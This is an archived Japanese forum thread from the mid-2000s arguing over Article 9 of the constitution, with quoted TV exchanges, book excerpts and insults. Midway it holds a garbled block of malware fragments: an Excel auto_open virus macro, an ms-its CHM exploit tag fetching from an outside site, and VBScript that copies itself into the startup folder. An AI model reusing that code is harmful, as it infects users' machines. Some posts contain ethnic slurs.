憲法9条護憲主義は宗教である

憲法9条護憲主義は宗教である

「危機管理はいらない！」「憲法9条は魔法の合言葉！」
「金正日はいい人！！」
と言う真理について考える

金美齢「中国が台湾に向けてミサイルを撃ったの。その時は戦争勃発だと思ったのね。
その時に米海軍空母2隻が台湾海峡にやってきてピタッと止まったのね！ピタッと。米国
第7艦隊が日本や台湾に来てくれるから、中国は何もしてこないのね」

海老名香葉子「…憲法9条があったから、平和だったんじゃありませんか！」

金美齢「米国第7艦隊がいるから、中国は何もしてこないのね」

海老名香葉子「…憲法9条が守ってくれたから、平和だったんじゃありませんか！」

太田光「9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守
るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ
!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条
を守るぞ!♪9条9条9条9条9条、憲法9条♪♪9条9条9条9条9条、憲法9条♪♪9条9
条9条9条9条、憲法9条♪」

９条死守と１００回となえれば
弾道ミサイルはあらね方向に飛び
核爆弾は不発になるんですね

朝鮮人と中国人に布教してください

憲法９条の無い韓国と中国はならず者国家だから先制攻撃で叩こう。

今の政治化に任せるほうがよっぽど危機意識が足りない

俺は憲法九条改定派だ。
自衛隊さえいらないなんて馬鹿な事を言ってる香具師もいるが
自衛隊がなかったら他国が攻めてきたらどうるんだｗｗｗ
米国に守ってもらえばいいなんて考え方はどうかしている。
戦争になったときに果たして本当に日本国民にために血をながしてくれるかどうか
は微妙である。自分で国を守ろうとする意欲が無い馬鹿な国家ということになる

アメリカのいう民主主義とか正義とやらも
カルト宗教じゃんｗ

「自衛隊は違憲」「あいまいな解釈改憲をやめてきちっと憲法で規定するべき」
って言うけど、違憲な自衛隊をつくったのも、解釈改憲やってきたのも自民党だろうがｗ

世界でちっとも流行らないのも、カルトならでは、ってことか。

＞５
たしかに普通に考えるとそういう結論になるが、
すべて、アメリカが計画してるとするならば、どうだ？

イラク戦争での大量破壊兵器はあったのか？

＞５さんは、物事の表しか見てないね。

戦争は勝てば官軍、負ければ、どん底の貧乏奴隷。

勝って自虐せずにおれるかな

アメリカが攻めてきた場合に対する備えも必要だな

まさか、改憲派が、｢外交さえしっかりしていれば、大丈夫だお｣なんてカルトな理由で可能性を排除しないよな

だいたい、資源のない日本が戦争で勝てるわけがない。
歴史をみれば、わかるだろ。

いまだに気づかない人たち...。

勝てるみこみがあるとするなら、圧倒的科学力、戦力の差で
半年以内で勝たんといかん。
ようは、やる前から、勝負がみえてる戦争しか勝てないってこと。

いんや３年持ちこたえたしすべってずらしたが、なにか

なんか、ここのスレ見てると、気合、根性だけは、ある人が
やたら勝つ気になってるな。

第二次大戦と同じだな。

竹やりで、爆撃機に勝つぞ〜って！

ああ、最後は日本に裏切りが出ておわりさ

＞１６
それ、言えてる！

裏切ったのは他でもない
憲法9条改正を主張した連中でしたとさ

おしまい

周りの国がみんな９条を持っているのなら、別に心配したりはせぬが、
自分だけ持っていれば大丈夫という感覚は、正直よくわからん。


間違えた。

ぜんぜんわからん。

憲法九条は、アメリカが日本の軍事力を封印した呪文だよ！

九条の封印を解けば、日本の膨大な金融資産を軍事につぎ込み、
日本国民悲願の世界最強国家を再び目指す。

20XX年、アメリカ軍vs日本軍、世界一決定戦。

>>18
まあそうだな、潮目は変わるが
あれはむかしマスコミの餌食にされたんだから仕方ない
宝石商の娘振った俺だから地元で馬鹿があっても仕方ない

>>20
首都をはじめとして、全国各地に米軍基地があるのに？
米軍基地撤去があれば別だが、そうでなければ、改憲ごときではどうにもならない
改憲は米軍の小間使いをかってでるようなもんだ。
憲法を方便とした厄介事の回避ができなくなるという不利益がある

>>20
それはないでしょ。

戦前にたとえるなら、
日本の役回りはイギリスとか、フランスとか、オランダのような立場。
わざわざ軍事力を背景に周囲に乗り出さずとも、十分儲かる側の国。
逆に、日本やドイツの立場にいるのは、中国とか北朝鮮。（最近は韓国もそれに参加したがっているようだけど）
自国の事情で対外的に出て行かないと、国内がもたない国々。

こういう国々から好き勝手なことをされないためには、
９条改正もやむをえないと思う。

↑
ちゃんと勉強して。
無知丸出しよw

↑は20にたいして

遅すぎｗ

自民党の憲法改正案は、中東で展開するアメリカ軍の軍事作戦に日本の自衛隊も参加することが目的でしょ。

>>27

それは違う、
北朝鮮内に拘束されている
日本人の救出とチベット人の救出、台湾の独立の手助けです。

>>28
日本人の救出はともかく
他の二つに日本が首を突っ込む必要はないな

ロシアに拿捕された人も救出してよ。

243 ：モナの路上キスシーンは絵になるほどカコ良かったね ：2006/10/05(木)

安倍や麻生や昭一のようなチンケなトッチャン坊やと路上でキスしたい女子アナは一人もいないわな。
http://www.jcp.or.jp/akahata/aik2/2003-10-31/03_01.html
http://esashib.hp.infoseek.co.jp/abe06.htm
安倍晋三が「北朝鮮強硬派」の筆頭のような顔をしているのは、
重要な理由があるのだ。
武器の引き鉄を平気で引くようなＫＩチＧＡＩの若者を生み出す憎悪のシステムを
国の中につくりあげて行かなければいけない。
先ず教育とマスコミが奪い取られた。
http://members.at.infoseek.co.jp/YaYa/system.htm

＞２２
正しいね。

憲法９条改正って言うのは、自衛のためとか言うけど、国際貢献のためでしょ。
安倍首相だって、アメリカにケツ叩かれてやってるんでしょ。

自衛隊を国際貢献できる軍隊にするためには、９条改正もやむをえないんじゃないのかな。

国際貢献という名のおせっかい

しっかし、憲法9条かえたらいいなんて、ほんと日本は世界の
笑いモンだわ。
アメリカにどんどん、お金みついで、金がなくなったら、今度は、
鉄砲玉にされようとしてる。

そんなこともわからん国民のアタマでは、ほんと日本は、世界からバカにされる。
そんなんだから、アメリカにいいように、金まきあげられて、使われて、
ポイされるんだよ。

アタマのないやつは、金まきあげられて、鉄砲玉にされて、ポイ。
そんなこともわからんのか。

憲法9条改正さんせいとかいってるから、国民は馬鹿にされてるんだよ！

ガキの多い２ちゃんねる。

>>35
たしかに、イラク戦争は正当性に議論があったが、湾岸戦争のように相当数の
多国籍軍が参加しているのに参加しないというのは、一先進国として無理があ
るんじゃないの？

いずれにせよ選択権は持っておくべきだ。

そうしたら、イラク戦争には派遣しないが、湾岸戦争には派遣する、などと言った
選択もできる。

＞３７
ホントのことだろ。

しっかし、憲法9条かえたらいいなんて、ほんと日本は世界の
笑いモンだわ。
アメリカにどんどん、お金みついで、金がなくなったら、今度は、
鉄砲玉にされようとしてる。

そんなこともわからん国民のアタマでは、ほんと日本は、世界からバカにされる。
そんなんだから、アメリカにいいように、金まきあげられて、使われて、
ポイされるんだよ。

アタマのないやつは、金まきあげられて、鉄砲玉にされて、ポイ。
そんなこともわからんのか

鉄砲玉の先はみえてる...。

カミカゼの国だ。
鉄砲玉になっても文句は言わないよ。

鉄砲玉になりたいやつはなれ。

いい人生だな...。

小泉は海外逃亡中だって？

僕は、仕事柄、米連合軍司令官クラスと日常的なやりとりがあったが、
彼らは日本の資金的貢献をしっかり評価している。それが日本の貢献を
利用する相手側の軍のトップ連中の本音なのである。
ところが、相手が評価しているのに、日本のタカ派政治家たちは
「評価されていない」と、その相手がいない日本国内で騒ぎ立ててきた。
本来、国際協力の世界では、金を出す者が一番偉い。それも「お前の戦争に
金だけは恵んでやるから、これだけはするな。それが守れない限り
金はやらない」という姿勢を貫く時、金を出す者が一番強いのだ。
しかし、日本はこれをやらなかった。「血を流さない」ことの引け目を、
ことさら国内だけで喧伝し、自衛隊を派兵する口実に使ってきた。
ここに、純粋な国際貢献とは別の政治的意図が見え隠れする。
「右翼化」。民族の自尊心を、国外に対する武力行使、武力誇示で
満足させようという動きが日本にある。
現在の政治状況、日本の外交能力、大本営化したジャーナリズムをはじめ
日本全体としての「軍の平和利用能力」を観た場合、憲法特に第９条には、
愚かな政治判断へのブレーキの機能を期待するしかない。
日本の浮遊世論が改憲に向いている時だから、敢えて言う。
現在の日本国憲法の前文と第９条は、一句一文たりとも変えてはならない。
（伊勢崎賢治「武装解除」講談社現代新書）
伊勢崎氏はシエラレオネ・東チモール・アフガニスタンで紛争処理と
武装解除計画を指揮した日本で最も「戦場を知る」人物。立教大教授。

　　　　　ネットウヨはガタガタ言う前に

　　　　　　　　　自衛隊に入れ　ターコ

　　　　　　　　　　　　　他人に命を懸けさせるのならば、まず自分が命を懸けろ

>>1
法律なんで宗教ではないが、
日本人の平和理念に対する根本的「哲学」というのであればそのとおりだな。

1941年の春にケネディは陸軍を志願したが、学生時代に受けた背中の傷のために拒絶された。しかしながら、夏に
体を鍛え、その年の9月に海軍士官に任官、1943年3月には艇長としてパトロール魚雷艇を受け取り、太平洋戦争中に
様々な作戦に参加した。

ケネディ中尉が率いる魚雷艇、PT-109は、1943年8月2日にソロモン諸島の近くのニュージョージアの西を哨戒していた
時に、大日本帝国海軍の駆逐艦「天霧」との偶発的な接触事故によって船体を引き裂かれた。彼は痛めていた背中から
デッキに投げつけられたが、負傷者を命綱で結びつけ3マイル遠泳して、近くの小さな島になんとかたどり着いた。
数日の友軍による探索後に2人の島民に出会い、ココナッツに刻んだメッセージが元で救助された（このココナッツは
後年、ホワイトハウスの執務室に暗殺の日まで置かれていたという）。これらの行動について、ハルゼー海軍提督から
の感謝状、名誉負傷章、海軍メダルおよび海兵隊メダルを受章した。しかしながら背中の傷はボートの上に投げられた
際に悪化し、さらにマラリアにかかり、1945年前半、終戦の数か月前に名誉除隊をした。

９条擁護の奴らって
ジョンイルやビンラディンのような輩に
「ウチは９条があるから手出ししないでくれ」
って説得する気なのかね？

「世界中に９条思想を広げればいい」って言うが
だったらまず自国の警察を廃止してみてはどうかね？

護憲論者って、あれだろ、朝鮮人とか中国人じゃないか？
それとも洗脳されてる日本人だろうか？

九条教の教え
http://www.9-jo.jp/
http://www.jcp.or.jp/youth/kenpou/index.html

続き

日中韓統一の歴史教科書に賛成した民主原口一博氏でさえ、
憲法9条改正に賛成の立場で、金曜日のTV番組にては、「国粋帝国主義と平和主義は同一」と主張し、
「憲法九条は宗教的だ」とまで言っている。

天皇教と9条教の日本柱が日本の宗教だから当然。

岸信介の安保改定以降、安保は日帝による米帝追従の象徴と化し、９条さえ掲
げりゃ平和主義だと言うバカ左翼が出て来た。それが、９条を改正して自衛隊を出しさえ
すりゃ一人前という「憲法９条ルサンチマン」に駆られたバカ右翼を生む。

>>1
何年か前の「サンプロ」での再現。
その時の内容は「有事法制をめぐる問題」について。
司会の田原総一郎と福島瑞穂の会話。

田原 「有事立法というのは、どこかがもし攻めて来たらどうするのか、
　　　どう対応するのかという法案ですよ。社民党はこんな物いらないって言う訳？」
福島 「戦争の為の法律は要らないと思いますぅ。」
田原 「そうじゃない、どこかが攻めて来た時のために…」
福島 「いや戦争の為の法律ですよぉ。」
田原 「ちょっと待って、じゃぁもしどこかが攻めて来たら殺されりゃぁ良いっていう話し？　降伏する？」
福島 「うーん…、戦争が起きないように努力する事が政治の責任じゃないですかぁ〜」
田原 「いやだからぁ、日本が戦争する気は全く無いでしょ、今でもない！」
福島 「ただですねぇ有事法制はそんな単純な法律ではない訳ですよぉ。
　　　米軍の活動を円滑にしたり、国民保護法制という名でいろんな人の権利を制限する…」
田原 「ちょっと待ってよ、敵が攻めて来た時にね、国民の人権自由とかで
　　　どこ動いて行っても良いですよっとはならないし、そりゃ規制もしますよ、当然。」
草野厚 「福島さんじゃあね、万が一攻められた時に、社民党は国民をどうやって
　　　守るのかという具体的な案が無いじゃないですか？ どうするんですか？」
福島 「うーん、ただ…例えば…非核構想をやるとかですねぇ…」
田原 「ちょぉっと待って！ つまり敵が攻めて来るなんて事は有りえない！っと？
　　　こんな夢みたいな事を自民党は言って、どんどん日本を軍国主義化してると、こういう事？」
福島 「…そうですねぇ、私は北朝鮮などを仮想敵国にしながら、
　　　どんどんどんどん軍事国家の道を歩んでいると思いますぅ。」
田原 「北朝鮮と仲良くするんだって…」
福島 「そうです。そういう努力が必要だと思いますょぉ。」
田原 「っとなると社民党いらなくなっちゃうよ」
福島 「ぃやそんな事は無いですよぉ、だって憲法9条を改憲したいと言うのが今強く出ていて」
草野厚 「あの福島さんね、僕は社民党に頑張ってもらいたいと思う。でもとてもついていけない…」


↑こんなお花が咲いてる能天気な政党が未だに議席を取って、何かにつけて騒いでいるから驚きだ。

>>55
> 田原 「いやだからぁ、日本が戦争する気は全く無いでしょ、今でもない！」
> 福島 「ただですねぇ有事法制はそんな単純な法律ではない訳ですよぉ。

面白いね。
改憲とかというと、すぐ戦争の準備だとか危機感をあおるけど
福島さんは日本が戦争する気が無いんだっていわれて否定はしていない。

あの人ってバランス感覚はあるんだって思う。
ただスタンディングポジションが違いすぎる。
こういうやり取りを読むと彼女には酷だって思う。
彼女の思いがまるで伝わっていない。

>>ただですねぇ有事法制はそんな単純な法律ではない訳ですよぉ。
>>米軍の活動を円滑にしたり、国民保護法制という名でいろんな人の権利を制限する
これを見れば分かるように、
福島の論点は有事法制の副作用について。
その副作用を無くせと言っているのであって、
有事に備えること一般を禁止したいのではない。

北朝鮮の脅威に対抗しようとしても、憲法九条が邪魔をしている。
それどころか、日本の防衛すらうまくいかなくなっている。
憲法は平和を守れず、有害な影響を与えている。
それが平和憲法の真実だ。
北朝鮮の脅威があって、初めてわかった。

>>54
岸って阿呆か！
今正に問題になってるカルト信者じゃねーか

北朝鮮の核実験を口実に日本が核武装論を展開することは許されない！！


http://society3.2ch.net/test/read.cgi/soc/1160575002/l50

『教育を救う保守の哲学』　渡部 昇一　中川 八洋　(著)　徳間書店
第�V部　第七章　第二節　ソ連軍導入のための「護憲」から、日本溶解のための「護憲」へ

　「非武装中立」論について、スイスの「重武装中立」も知らない無知による政策だと嗤う
保守系の人々は多かった。しかし無知なのはこの保守系の人々の方であった。社会党の
マルクス主義者たちは、周到に、「自衛隊解体」のことを「非武装」の三文字におきかえ、
「日米安保条約破棄、駐留米軍撤兵」のことを「中立」の二文字におきかえた。日本列島全体
の武装をゼロにして、ソ連軍の無血占領を実現させる五文字として練りあげた魔語としての
「非武装中立」であった。社会党らの「反戦」「平和」の「平和」は、ソ連軍の侵略に抵抗しない
「奴隷の平和」を意味することを初めから知った上でのスローガンであった。
　この「非武装中立」の五文字の意味を正直にばらしたのが、東大の社会党系憲法学者、
小林直樹であった。その著『憲法第九条』は、ソ連軍侵攻後の非武装抵抗が可能だとの嘘と
詭弁を展開している。それほど小林直樹はソ連軍の日本占領を一日千秋の思いで夢想して
いた。次のは、日本侵攻のソ連軍を「公費留学生」と思い違いをしてあげて歓迎しよう、との
小林直樹の笑止きわまる詭弁の一つである。が、これによって「非武装中立＝ソ連軍導入」の
社会党の真意がバレた。小林直樹は、社会主義者にめずらしく正直な人物であった。
　　「かりに、二、三〇万人のソ連軍隊が・・・・・日本を占領すると仮定する。・・・・・そうなれば、
向こうは公費で日本に留学生を送ってきたのと同じ結果になります」
（「非武装中立をいかに進めるか」、『月刊社会党』一九八四年一月号、二〇項。）
　　　　　（中略）
　日本が「第九条改正反対！」で国民的コンセンサスができあがったのは、「非武装中立」とは
「ソ連軍導入」のことであることすらも知らない、日本国民の過半を占める非左翼系の
「イデオロギー音痴」という無教養こそが大きく左右した。また、もともと日本人は思考力が
極度に貧弱なのに、常軌を逸した米国への「甘え」（依存症）の病いが、国家の安全保障問題
を思考することからますます遠ざけた。

232 ：日本＠名無史さん ：2005/08/16(火) 23:09:35
>149 >175
深田匠著　「日本人の知らない『二つのアメリカ』の世界戦略」高木書房より
　≪反戦運動の実態はイデオロギー闘争≫
　社会党は１９５０年代の内部の集会では「非武装中立というスローガンで日本の防衛力を
封じ、ソ連叉は中国人民解放軍の日本国内導入をもって日本を社会主義化させる」と公言
していた。また共産党の志位和夫もＴＶで「日本には自衛力はいらない」と発言して、対談相手
から「日本が侵略攻撃されたら？」と問われると、「国民が立ち上がればよい」と答え、さらに
対談相手が、「一般国民が戦車や戦闘機を操れるのか？」と反問するとノーコメントを貫いた
が、それ以上話すと本音がばれるから黙ったのであろう。つまりこれまで共産党と社会党は、
ポーランドやルーマニアなど東欧がソ連軍の侵攻占領によって共産化したことを、日本の
モデルケースにしていたのである。
http://ryutukenkyukai.hp.infoseek.co.jp/nihon_kyosantou_1.html

太平洋戦争は共産主義者の陰謀
http://academy4.2ch.net/test/read.cgi/history/1121091165/

９条よ今までありがとう・・
あばよっつ！

>>45
>「現在の日本国憲法の前文と第９条は、一句一文たりとも変えてはならない。」「武装解除」（講談社現代新書）
何ページ目ですか？45の捏造じゃないの？
http://www.rikkyo.ne.jp/grp/isezaki/data/20021103.pdf
----------以下、上の伊勢崎賢治氏のホームページからの引用----------
傍観から行動の平和主義へ
〜しかし非軍主義者かと問われれば否といわざるを得ない。
〜国連暫定統治機構の県知事を務めた東チモールでは、インドネシア併合派民兵のテロが続く中PKF（Peace Keeping Forces 国連平和維持軍のこと）の威嚇力がなかったら瓦礫の中からの同国の復興はなかったはずである。
抑止力としての中立な武力は局地的な紛争処理に非常に有効な手段である。
「話せばわかる」だけで解決できる紛争はないのだ。
----------ここまで------------------------
こんなことを書いてる伊勢崎氏が「現在の日本国憲法の前文と第９条は、一句一文たりとも変えてはならない。」などと書くとは思えない。

>>1
それも「原理主義」、「狂信」だな。

汚染を除去しました。

kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"

kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/

If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

汚染を除去しました。

伊勢崎賢治氏を騙る憲法9条護憲主義教の45の捏造を晒す、あげ

　ところでさ、
日本が攻撃された時に
アメリカが守ってくれるという確証はあるの？

太田光と言う名、どこかの教祖様見たいな名前だな。

平和憲法のせいで、日本が守れなかったらどうなるんだ？

別にいつものことじゃん

平和憲法は宗教ではない。
しかし、かなり宗教的ではある。

オレは、こいつは良い宗教だと思う。

少なくとも、いんちき右翼でアメリカの属国化を加速する
弧ねずみーアベのアフォタカ派政治よりはマシである。

徹底的な民族主義をやるなら、
安保解消、中立外交、改憲、自国防衛、核保持　しかないであろう。
金がかかりすぎるけど、真正民族主義でやるならそうするしかないな。

憲法九条擁護、というのはつまり「俺は戦争するくらいなら死んでもかまわん」という
ことだが、そのために周囲の人間が死ぬことを考えれば実に下らない心中主義であることが
よく分かる。はた迷惑なので日本の外でやって欲しい。

ようつべ：憲法無効論か？憲法改正論か？１〜６
http://www.youtube.com/watch?v=WkhdTp8nsUs
http://www.youtube.com/watch?v=qP_OduPtdL8
http://www.youtube.com/watch?v=QnVna7pkzmQ
http://www.youtube.com/watch?v=He2BOuFoCiE
http://www.youtube.com/watch?v=OfmQnCTji3I
http://www.youtube.com/watch?v=p8JLXe_Zdk8

なっとくアンケート
http://www.hou-nattoku.com/enq/
憲法九条の改正と軍隊の保持　賛成？反対？
賛成 1563票 (58%)
反対 1150票 (42%)

布教は中国でしてくれ

「九条教」、聖地で缶詰おでんで布教活動

http://headlines.yahoo.co.jp/hl?a=20061107-00000125-mailo-l12

2008年1月に民主政権誕生、
アジア政策では中国重視の為、
日米同盟は2の次…。
来年からハン長官が国連事務総長に就任。
立場を利用して竹島を独島とするように各国に工作をするも、
金が無く失敗の可能性する…

ブッシュ政権後の日本について語ってくれ。

>>5

実は日本の自衛隊は、
不安定な状態なんです。
陸海空の中で海上自衛隊の能力が世界トップクラスだという。
なぜなら、旧ソ連や中国の潜水艦に対抗できる力を持つことが、
米国によって許されているらしい。
陸・空の自衛隊はそれ程強化されていないという。

だから事実上は海上自衛隊と在日米軍（アメリカ合衆国第7艦隊）によって、
国家の安全保障が保たれているのである。

…といわれる。

護憲派の論理が行き詰っている件について。

>>85
護憲派の理論って、
ミサイルが飛んできても、平和憲法９条とか唱えると
ミサイル撃墜できるって理論か？

>>86

いや、それ以前に飛んでこないと…そこで思考停止。
中国、北朝鮮は脅威ではない。脅威なのは日本と米国と答える。
軍事力を強化している中国や北朝鮮に理解を示す。
日本のMDすら中国・北朝鮮の脅威と言っている。

左翼は向こうの立場を表明しているのが特徴。
もっと過激な左翼だと、「日本人に犠牲者が出れば、
世界が平和になるんです！」といった院長もいる。

「社民党総選挙公約２００５」より
http://www5.sdp.or.jp/central/topics/44syuin/seisaku/seisaku2005.html

「いかす！「平和憲法」――政治の基本は平和憲法」のツッコミ編
２．自衛隊を縮小・再編します
　肥大化した自衛隊の装備や規模を必要最小限の水準に縮小・再編します。
ミサイル防衛システムの導入や武器輸出の解禁に反対します。
イージス艦、軽空母、空中給油機など攻撃的な装備の保有は認めません。
自衛隊内部での人権侵害を防ぐために、「自衛官オンブズマン」制度を創設します。

＞イージス艦、軽空母、空中給油機など攻撃的な装備の保有は認めません。
えぇぇっ？イージス艦、軽空母、空中給油機が攻撃的？？？？？
機能自体知らないんじゃ…ｗ
誰か説明してあげてｗ


「どちらの道を選びますか」のツッコミ編
＞みんなが支え合う「共生社会」、一人一人が輝くやさしい社会
共生なのにここに輝く？変な日本語ｗ
＞多様な民意・価値観を反映する多党制
それこそ、議会の崩壊でしょ。ｗ
100年たっても決まらないガンコな状態。
＞子どもが主人公の教育
どういうこと？劇か？意味わかんない。ｗ
＞北東アジアに非核地帯を
まずは北朝鮮と中国からだね！ｗ
＞憲法９条「改正」で「戦争できる国」 の自民案に対し、
「憲法の理念を現実に活かした平和な社会」
憲法９条「護憲」で「拉致される国」 「占領される国」「国民を守らない国」と書け！ｗ

９条批判する奴のほとんどが９条を理解してないんじゃないの？
憲法が刑法や民法なんかと同じ作用と思ってる？

9条は死守、中国も北朝鮮も攻めてくるなら9条が改正されたときだとおもうよ。
あちらさんが攻めてくると思うならそれを回避する外交能力を身に着けましょう。

結局あほ政治家が外交能力がないのを９条のせいにしてるだけだな

さきに言われてしまったか

＞９条批判する奴のほとんどが９条を理解してないんじゃないの？
憲法が刑法や民法なんかと同じ作用と思ってる？

つまり何が言いたいのかな？

簡単に言えば、刑法などの準則ではなく、憲法は原理だということ。
わかんなかったら、勉強してね。

>>94

＞簡単に言えば、
じゃぁ、難しく丁寧に「教科書」的の解説たのんます！
「勉強してね。」と書いて逃げないように！

原理主義者さん。

原理主義の原理とはちがうのになぁ〜
準則は要件に当てはまれば効果が出てくる。９条で言えば軍隊持てば違憲って感じに。
原理は物事を考える際の重石って感じかな。平和主義という重石があるから現状自衛隊が人を殺していない。
まあ、重石だからあまりに強い力に引っ張られると準則みたいな縛りはなくなるけど。
改憲してその重石を軽くすればどこまで突っ走るかな。

http://www.youtube.com/watch?v=lEsmWlObb5g
憲法無効宣言という原則論こそ野党の武器
http://www.youtube.com/watch?v=tE6ponL_EXU
占領憲法が梅毒！ 田久保忠衛・渡部昇一 (2-1)
http://www.youtube.com/watch?v=BJvooJCcZhQ
占領憲法が梅毒！ 田久保忠衛・渡部昇一 (2-2)

現実問題で言えば別に違憲でも法律改正ってことにはならんわけよ。
まあ人権に関することについては憲法に従って告訴できたりするけど。

鰯の頭も信心からだからな

鰮の頭と書けないだけだろ

>>96

そこで聞きたいのだが、
＞平和主義という重石があるから現状自衛隊が人を殺していない。
やはり、日本人の民間人は殺されるべきなのか？

＞改憲してその重石を軽くすればどこまで突っ走るかな。
改憲したことによる米追随を懸念しておきながら、
中国・北朝鮮・テロなどの脅威を懸念しないのは何故だ？
戦にならんかもしれないが、現に戦にならずとも対日工作
（破壊）活動はできるからね。

これは合法か？

↑
訂正

×日本人の民間人は殺されるべきなのか？

○日本の民間人は殺されるべきなのか？

>>101
他の人の意見と混同して聞かれても何を応えればいい？
文を読めばわかるが俺は自衛隊を否定してないが。

おまえら
外交力とはなんだと思う？

まずは情報、
つぎに経済力と軍事力だよ

９条は日本の外交力を著しく落としてるよ

映画「宣戦布告」を見てくれ

http://kamei.cside.com/zakki/003.html
http://www.eigaseikatu.com/title/2483/

まずはその情報をしっかりものにしてから言いたまえ

＞君、まずはその情報をしっかりものにしてから言いたまえ

と言いながら、誰に何に対して言っているのか？と突っ込みたいｗ

日本版ＮＳＣ　機動性ある司令塔作りを(産経新聞社説)
http://www.sankei.co.jp/news/061122/edi001.htm

北朝鮮の友邦組織にして９条護憲を主張する「社民党」がホンネをポロリ。

社民党は、麻生外相や中川政調会長の核発言を厳しく批判しているくせに
北朝鮮に対しては、機関紙である社会新報の”偏西風”の中で
「核を手にしたい気持ちは痛いほどわかる」と理解を示す。

今週（１１月１５日）の社会新報
http://www5.sdp.or.jp/central/shinpou/newsfiles/shimpo.html

580 ：愛国士 ◆B/rqf88wwo[[email protected]] ：2006/11/25(土) 00:18:04 ID:EogviNeu0
日本の憲法は、ヤクザ・暴力団にとって、人権の平等な無いのです。
彼らが殺し遇っても、せいぜい５年で刑務所から出てこれます。

たとえ、素人に殺されても、長くて５年ですよ。それなりの利由があれば
執行猶予もありうるのですから、人権平等といっても、事実は不平等なのです。

【ヤクザ者の命が軽い】と言う揺ぎ無い事実が、暴力団の抗争を助長
していることも確かです。
鉄砲玉は、なぜ意図も簡単に人を殺すか、それは、極道の命を取っても絶対
に死刑にならないからです。

http://sports9.2ch.net/test/read.cgi/budou/1163846948/l50

http://no-war.net/manga/07/
↑
本屋で見たけど、買った人いる？

米製憲法無効論/大日本帝国憲法改正論/西村眞悟 ●http://www.youtube.com/watch?v=DLNXofQTAu4
占領圧迫下、拳拳服膺しないと決めたに過ぎない教育勅語 ●http://www.youtube.com/watch?v=XPn-KleUFDw
「教育勅語排除,失効決議」の無効確認決議が必要 (3-1) ●http://www.youtube.com/watch?v=kXQyOrfuZtc
「教育勅語排除,失効決議」の無効確認決議が必要 (3-2) ●http://www.youtube.com/watch?v=ScBwJ6X7ww4
「教育勅語排除,失効決議」の無効確認決議が必要 (3-3) ●http://www.youtube.com/watch?v=C0d26ukJPJg
憲法改正反対！現行憲法等は廃棄すべき・藤原正彦 ●http://www.youtube.com/watch?v=IPck5G54YAM
改正ではなく現行憲法は無効にしてから・稲垣武 ●http://www.youtube.com/watch?v=5JC6qarPC9o
法学の自殺！追認で帝国憲法75条違反を治癒できる？(2-1) ●http://www.youtube.com/watch?v=Ra64lv0KtPc
法学の自殺！追認で帝国憲法75条違反を治癒できる？(2-2) ●http://www.youtube.com/watch?v=OC7dKexhNrc
ひどい公民教科書と憲法無効論 小山常実 3-1 ●http://www.youtube.com/watch?v=Mb7bPITedok
ひどい公民教科書と憲法無効論 小山常実 3-2 ●http://www.youtube.com/watch?v=e6IkYXBV8Zg
ひどい公民教科書と憲法無効論 小山常実 3-3 ●http://www.youtube.com/watch?v=X4z-XMPFaog
憲法「改正」とは言わないほうがよい！ 水島 総 / 渡部昇一 ●http://www.youtube.com/watch?v=uW6SJYrPfu4

要排除！日本四大基地外カルト
・オウム真理教
・統一教会
・創価学会
・９条（窮状）を守る会

教科書・日本の安全保障
http://www.amazon.co.jp/gp/product/4829503408/
http://www.amazon.co.jp/gp/product/4750503010/

一概に宗教とはいえないと思うけど。日本が９条を守ることが世界平和に波及する
とかいう人を見ると、信者かな？とは思う。
あと、憲法９条護憲や日米安保破棄や自衛隊廃を言う組織に限って、隣国には
ひたすら甘いという傾向は、真に平和を望む人から見たら迷惑だと思う。

「日本には面白くないかも知れないが、中国は日本よりアメリカを重視する」
アーミテージ氏
米国とアメリカは仲良くなる。
日本は植民地として、アメリカの防衛基地として使用する。

　

【動画有り】　朝まで生テレビで、宮崎哲弥(評論家）と共産党の穀田恵二が憲法問題で大口論！！

勝谷 「憲法残って国滅ぶだったんですよ今までは･･････」
宮崎 「戦後の憲法体制なんてごまかしですよ。嘘話だよこんなものは!!」
福島 「いや、違うよ。解釈改憲をやり尽してきた訳じゃないですかぁ。」
勝谷 「憲法を祀って拝んでたのはお前の政党だろ!」
宮崎 「あんたらの政党だよ。嘘を流布してきたのは。」
穀田 「あんたらてどういう意味や？」
宮崎 「二つだよ。共産党と社民党」
穀田 「くぁｗせｄｒｆｔｇｙふじこｌｐ；＠(巻き舌)」
宮崎 「何だお前!!何だよこの野郎ぅ!!」
　　　 「（ドン！）何だコラァ!!表出ろって言ったな今!!!」
穀田 「あんたらって、なんだよ！」
宮崎 「表出ろってのは何だ!?共産党がﾌﾟｼﾞｭョﾝ･･･ﾌﾟ･･･」

田原 「ちょっと、つまんない事言ってんナ!」

宮崎 「ばーか」
勝谷 「まだ銃口から革命とかばっか考えてんだろ」
宮崎 「そうそうそう、銃口から革命考えてんだろ!!!暴力政党!!!」

田原 「ね、ｲﾝﾃﾘｼﾞｮﾝ無さを晒け出してるぞ。ねぇ!下品さを晒け出してんぞ」

勝谷 「はぁい」
宮崎 「そうだ共産党！」
福島 「そっｗ」
宮崎 「人殺し政党のくせに･･･」「本性が出たな。」

http://www.youtube.com/watch?v=k8eTOTn8-Vk
その後の様子　ttp://yaplog.jp/cv/nagano/img/223/dscn0108_1_p.jpg

　

日本国憲法：
第11条　国民は、すべての基本的人権の享有を妨げられない。この憲法が国民に保障する
　基本的人権は、侵すことのできない永久の権利として、現在及び将来の国民に与へられる。
第13条　すべて国民は、個人として尊重される。生命、自由及び幸福追求に対する国民の
　権利については、公共の福祉に反しない限り、立法その他の国政の上で、最大の尊重を
　必要とする。

